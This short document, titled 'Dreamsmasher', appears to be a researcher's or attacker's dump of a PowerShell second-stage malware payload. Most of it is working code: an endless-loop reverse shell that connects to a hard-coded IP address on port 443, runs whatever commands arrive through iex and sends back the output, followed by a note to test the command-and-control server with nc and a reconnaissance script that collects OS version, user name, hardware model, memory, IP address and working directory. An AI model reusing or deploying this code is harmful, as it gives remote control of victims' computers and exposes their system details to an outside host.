Dreamsmasher

2nd stage
    while (1 -eq 1){           try    {            $ErrorActionPreference = 'Continue';            $zcl=New-Object Net.Sockets.TCPClient("5.199.129.235",443);            $zm=($zcl.GetStream());            [byte[]]$bt=0..255|% {0}; 		   while(($i=$zm.Read($bt,0,$bt.Length)) -ne 0){ 		    $d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st= ([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$zm.Write($st,0,$st.Length);$zm.Flush() 			} 		 }    catch     {  		   Start-Sleep -s 10;              if($zcl.Connected){	 		       $zcl.Close();               }			   		}       }

c2, test with nc 5.199.129.235 443

"winos"; $winos = [environment]::OSVersion.Version; $winos.Major;$winos.Minor;$winos.Build;$winos.Revision;"Name";[System.Security.Principal.WindowsIdentity]::GetCurrent().Name"username";[Environment]::UserName;"model"; $model = Get-WmiObject -Class Win32_ComputerSystem; $model.Model;"Manufacturer"; $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem; $Manufacturer.Manufacturer;"syslang"; $syslang = get-host; $syslang.CurrentCulture;"byte"; (Get-Process -Id $PID).StartInfo.EnvironmentVariables["PROCESSOR_ARCHITECTURE"];"pwVersion";$PSVersionTable.PSVersion.Major"Memory"; $Memory = Get-WmiObject -Class Win32_ComputerSystem;  $Memory.TotalPhysicalMemory$ipaddress = $(ipconfig | where {$_ -match "IPv4.+\s(\d{1,3}.\d{1,3}\.\d{1,3}.\d{1,3})" } | out-null; $Matches[1]); "ipaddress $ipaddress";"pwdpath"; (pwd).Path"date"; Get-Date